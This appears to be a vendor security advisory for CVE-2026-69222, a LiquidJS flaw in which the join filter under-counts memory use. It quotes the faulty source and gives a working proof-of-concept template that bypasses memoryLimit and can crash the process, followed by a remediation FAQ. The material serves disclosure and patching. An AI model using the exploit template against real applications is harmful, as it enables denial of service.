CVE-2026-69222

LiquidJS: Uncontrolled Resource Consumption in join filter allows template authors to bypass memoryLimit and crash the process

// src/filters/array.ts:8-13
export const join = argumentsToValue(function (this: FilterImpl, v: any[], arg: string) {
  const array = toArray(v)
  const sep = isNil(arg) ? ' ' : stringify(arg)
  const complexity = array.length * (1 + sep.length)   // element COUNT, not element sizes
  this.context.memoryLimit.use(complexity)
  return array.join(sep)                                // allocates sum(element lengths) + separators
})

const { Liquid } = require('liquidjs');
const engine = new Liquid({ memoryLimit: 1e7 }); // 10M-unit DoS defense

const E = 5000, DOUBLINGS = 13;
const chunk = 'a'.repeat(E);
let tpl = `{%- assign s = "${chunk}" -%}{%- assign a = s | split: "NOSUCHSEP" -%}`;
for (let i = 0; i < DOUBLINGS; i++) tpl += `{%- assign a = a | concat: a -%}`; // 1 -> 8192 elements
tpl += `{%- assign out = a | join: "" -%}{{ out | size }}`;

const len = Number(engine.renderSync(engine.parse(tpl))); // succeeds, should be blocked
console.log('output length:', len);  // output length: 40960000

Any app rendering attacker-influenced templates with memoryLimit set (LiquidJS docs list it as covering "array concat/join/strftime") can have that control bypassed by one short template, forcing allocation well past budget up to a process crash. split/concat are correctly charged; the gap is join's own accounting of its own output. (LiquidJS's security-model docs call these limits "cooperative safeguards, not strict isolation", doesn't change that join's charge is wrong relative to what it allocates.)

Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.

CVE-2026-69222 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (10.27.2); upgrading removes the vulnerable code path.

Kodem intelligence

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1. What is CVE-2026-69222? CVE-2026-69222 is a high-severity uncontrolled resource consumption vulnerability in liquidjs (npm), affecting versions <= 10.27.1. It is fixed in 10.27.2. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
2. How severe is CVE-2026-69222? CVE-2026-69222 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of liquidjs are affected by CVE-2026-69222? liquidjs (npm) versions <= 10.27.1 is affected.
4. Is there a fix for CVE-2026-69222? Yes. CVE-2026-69222 is fixed in 10.27.2. Upgrade to this version or later.
5. Is CVE-2026-69222 exploitable, and should I be worried? Whether CVE-2026-69222 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-69222 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-69222? Upgrade liquidjs to 10.27.2 or later.